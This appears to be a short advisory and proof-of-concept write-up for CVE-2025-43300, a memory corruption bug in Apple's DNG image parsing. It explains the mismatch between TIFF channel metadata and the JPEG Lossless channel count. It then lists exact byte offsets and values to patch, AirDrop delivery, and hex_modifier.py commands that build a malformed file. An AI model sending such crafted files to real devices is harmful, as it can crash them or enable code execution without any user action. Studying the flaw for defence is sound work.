CVE-2025-43300

CVE-2025-43300: iOS/macOS DNG Image Processing Memory Corruption

Summary

A vulnerability in Apple’s image processing (RawCamera.bundle) affects iOS 18.6.1 and macOS. The issue occurs when DNG files contain mismatched TIFF metadata and JPEG Lossless parameters, leading to memory corruption.

Cause

• TIFF header defines SamplesPerPixel (expected number of channels).
• JPEG Lossless defines SOF3 component count (actual number of channels).
• If these don’t match → system allocates the wrong buffer size → data overflows.

How It Happens

1. TIFF metadata says 2 channels.
2. Buffer allocated for 2 channels.
3. JPEG stream says only 1 channel.
4. Decoder writes data with different assumptions.
5. Buffer overflow → memory corruption.

Attack Vector

• Zero-click: triggers without user interaction.
• Automatic processing: happens when viewing, importing, or receiving DNG files.
• Cross-platform: impacts both iOS and macOS.
• Impact: crashes or potential code execution.

Manual reproduction steps:

Download image in DNG resolution

Modify the following bytes:

0x2FD00:	01	->	02

0x3E40B:	02	->	01 

Airdrop etc

Automatic bytes modifying:

# Create POC using known vulnerable offsets
python3 hex_modifier.py create-poc <input.dng>

# Manual byte modification
python3 hex_modifier.py modify <input.dng> <offset> <old_byte> <new_byte> <output.dng>

# Generate diff report
python3 hex_modifier.py diff <original.dng> <modified.dng>